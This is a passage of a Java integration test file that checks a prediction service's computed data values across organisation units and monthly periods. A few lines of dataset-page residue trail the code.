assertEquals( "135.8", getDataValue( dataElementX, defaultCombo, sourceA, makeMonth( 2001, 8 ) ) );
assertEquals( "135.8", getDataValue( dataElementX, defaultCombo, sourceB, makeMonth( 2001, 7 ) ) );
assertEquals( "135.8", getDataValue( dataElementX, defaultCombo, sourceB, makeMonth( 2001, 8 ) ) );
assertEquals( "135.8", getDataValue( dataElementX, defaultCombo, sourceG, makeMonth( 2001, 7 ) ) );
assertEquals( "135.8", getDataValue( dataElementX, defaultCombo, sourceG, makeMonth( 2001, 8 ) ) );
}
@Test
@Category( IntegrationTest.class )
public void testPredictInteger()
{
setupTestData();
Predictor p = createPredictor( dataElementY, defaultCombo, "PredictInteger",
expressionC, null, periodTypeMonthly, orgUnitLevel1, 0, 0, 0 );
assertEquals( 3, predictionService.predict( p, monthStart( 2001, 7 ), monthStart( 2001, 8 ) ) );
assertEquals( "136", getDataValue( dataElementY, defaultCombo, sourceA, makeMonth( 2001, 7 ) ) );
assertEquals( "136", getDataValue( dataElementY, defaultCombo, sourceB, makeMonth( 2001, 7 ) ) );
assertEquals( "136", getDataValue( dataElementY, defaultCombo, sourceG, makeMonth( 2001, 7 ) ) );
}
@Test
@Category( IntegrationTest.class )
public void testPredictDays()
{
setupTestData();
Predictor p = createPredictor( dataElementX, altCombo, "PredictDays",
expressionD, null, periodTypeMonthly, orgUnitLevel1, 0, 0, 0 );
assertEquals( 6, predictionService.predict( p, monthStart( 2001, 8 ), monthStart( 2001, 10 ) ) );
assertEquals( "31.0", getDataValue( dataElementX, altCombo, sourceA, makeMonth( 2001, 8 ) ) );
assertEquals( "30.0", getDataValue( dataElementX, altCombo, sourceA, makeMonth( 2001, 9 ) ) );
assertEquals( "31.0", getDataValue( dataElementX, altCombo, sourceB, makeMonth( 2001, 8 ) ) );
assertEquals( "30.0", getDataValue( dataElementX, altCombo, sourceB, makeMonth( 2001, 9 ) ) );
assertEquals( "31.0", getDataValue( dataElementX, altCombo, sourceG, makeMonth( 2001, 8 ) ) );
assertEquals( "30.0", getDataValue( dataElementX, altCombo, sourceG, makeMonth( 2001, 9 ) ) );
}
@Test
@Category( IntegrationTest.class )
public void testPredictNoPeriods()
{
setupTestData();
Predictor p = createPredictor( dataElementX, altCombo, "PredictDays",
expressionD, null, periodTypeMonthly, orgUnitLevel1, 3, 1, 2 );
assertEquals( 0, predictionService.predict( p, monthStart( 2001, 8 ), monthStart( 2001, 8 ) ) );
}
}
| 47.042105 | 136 | 0.673715 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.